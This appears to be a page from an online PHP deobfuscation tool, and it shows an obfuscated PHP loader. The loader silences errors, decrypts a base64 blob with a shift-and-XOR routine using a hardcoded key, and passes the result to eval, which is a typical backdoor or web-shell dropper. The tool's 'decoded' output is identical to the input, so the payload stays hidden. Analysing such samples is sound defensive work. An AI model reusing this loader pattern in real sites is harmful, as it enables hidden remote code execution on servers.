Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); @ini_set('display_errors',0); $e=base64_decode('eRBWHjV7MQQDE..
Decoded Output download
<?php
error_reporting(0);
@ini_set('display_errors',0);
$e=base64_decode('eRBWHjV7MQQDEgsmNks4LzELMAY3ClwiNQAjGCB8HVRLAz0TCWgECjoJEDAYQCsMODUABRgxLS4cAzENIhgKXksTPl4TQ1JoCj0+ejRmCjcMImRWGwopchwpJw4nDA5HfwwlATVAJTEAHhh6HRg/Pz4MMxwbBj41GipJTQ==');
$k='%TkiP3vOIZQNQ*XGnfNjzNlExnqtCOL7';
function d($e,$k){
$s=0;
for($i=0;$i<strlen($k);$i++){$s+=ord($k[$i]);}
$s=$s%10;
$u='';
for($i=0;$i<strlen($e);$i++){
$c=$e[$i];
if(ctype_alpha($c)){
$a=ord($c);
if(ctype_upper($c)){
$u.=chr(($a-65-$s+26)%26+65);
}else{
$u.=chr(($a-97-$s+26)%26+97);
}
}elseif(ctype_digit($c)){
$u.=(intval($c)-$s+10)%10;
}else{
$u.=$c;
}
}
$r='';
for($i=0;$i<strlen($u);$i++){
$r.=chr(ord($u[$i])^ord($k[$i%strlen($k)]));
}
return base64_decode($r);
}
eval('?>'.d($e,$k));
?>
Did this file decode correctly?
Original Code
<?php
error_reporting(0);
@ini_set('display_errors',0);
$e=base64_decode('eRBWHjV7MQQDEgsmNks4LzELMAY3ClwiNQAjGCB8HVRLAz0TCWgECjoJEDAYQCsMODUABRgxLS4cAzENIhgKXksTPl4TQ1JoCj0+ejRmCjcMImRWGwopchwpJw4nDA5HfwwlATVAJTEAHhh6HRg/Pz4MMxwbBj41GipJTQ==');
$k='%TkiP3vOIZQNQ*XGnfNjzNlExnqtCOL7';
function d($e,$k){
$s=0;
for($i=0;$i<strlen($k);$i++){$s+=ord($k[$i]);}
$s=$s%10;
$u='';
for($i=0;$i<strlen($e);$i++){
$c=$e[$i];
if(ctype_alpha($c)){
$a=ord($c);
if(ctype_upper($c)){
$u.=chr(($a-65-$s+26)%26+65);
}else{
$u.=chr(($a-97-$s+26)%26+97);
}
}elseif(ctype_digit($c)){
$u.=(intval($c)-$s+10)%10;
}else{
$u.=$c;
}
}
$r='';
for($i=0;$i<strlen($u);$i++){
$r.=chr(ord($u[$i])^ord($k[$i%strlen($k)]));
}
return base64_decode($r);
}
eval('?>'.d($e,$k));
?>
Function Calls
d | 1 |
ord | 32 |
strlen | 34 |
ini_set | 1 |
ctype_alpha | 1 |
base64_decode | 1 |
error_reporting | 1 |
Stats
MD5 | 540cc9e7ba6f758b52f81454cc21c35b |
Eval Count | 0 |
Decode Time | 125 ms |